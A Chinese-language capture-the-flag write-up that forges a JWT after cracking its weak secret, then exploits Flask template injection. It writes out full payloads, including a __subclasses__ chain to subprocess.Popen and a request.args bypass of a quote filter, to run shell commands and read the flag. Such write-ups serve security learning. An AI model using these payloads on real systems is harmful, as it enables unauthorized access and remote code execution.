JWT以及flask模板注入

JWT以及flask模板注入

打开页面后,发现是一个登录的界面,所以尝试使用sql注入的闭合测试,发现没有回显,排除sql注入的可能

然后抓包,发现有一个token值

1
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJwYXNzd2QiOiIxMjMiLCJ1aWQiOiIxMzQxMmRjYy1mNzdjLTRiNWMtYTY3NS0xYTg4OWY4YzdiMDIiLCJyb2xlIjoiZ3Vlc3MifQ.fZK8Krq7WE-zoHSh0M6ZOzj5MGMQRFRmxstoOXdILA0

所以猜测是JWT,放入这个网站[https://jwt.io/],可以看见JWT前两部分的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HEADER

{
"alg": "HS256",
"typ": "JWT"
}


PAYLOAD

{
"user": "admin",
"passwd": "123",
"uid": "13412dcc-f77c-4b5c-a675-1a889f8c7b02",
"role": "guess"
}

role是一个可疑点,所以我们可疑将guess改为admin进行尝试,但是我们不知道密钥,所以我们可以使用c-jwt-craker对密钥进行爆破,得到密钥为

1
CTf4r

然后伪造token,进行提交,发现成功提交,但是提交后没发现任何东西,此时我想了比较久,然后尝试将user里的值改为

1
{{7*7}}

发现回显是49,发现注入点,然后我构造

1
{{' '.__class__}}

进行尝试,发现回显500,然后逐个符号进行尝试,发现原来单引号被过滤了,所以我们可以使用()来代替

1
{{().__class__}}

发现成功回显出两个类,由于它过滤了单引号,所以我就用对单引号使用最少的subprocess.Popen类对文件进行读取

1
{{().__class__.__mro__[1].__subclasses__()[143]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

但是发现它里面带有单引号,所以我们可以使用request.args.path来绕过单引号,即使用get提交的方式输入命令

1
{{().__class__.__mro__[1].__subclasses__()[143](request.args.path,shell=True,stdout=-1).communicate()[0].strip()}}

然后在提交伪造token的同时,get提交命令

1
/flag?path=ls

发现显示目录,即注入成功,然后get提交

1
/flag?path=cat%20/flag

就可以读取flag了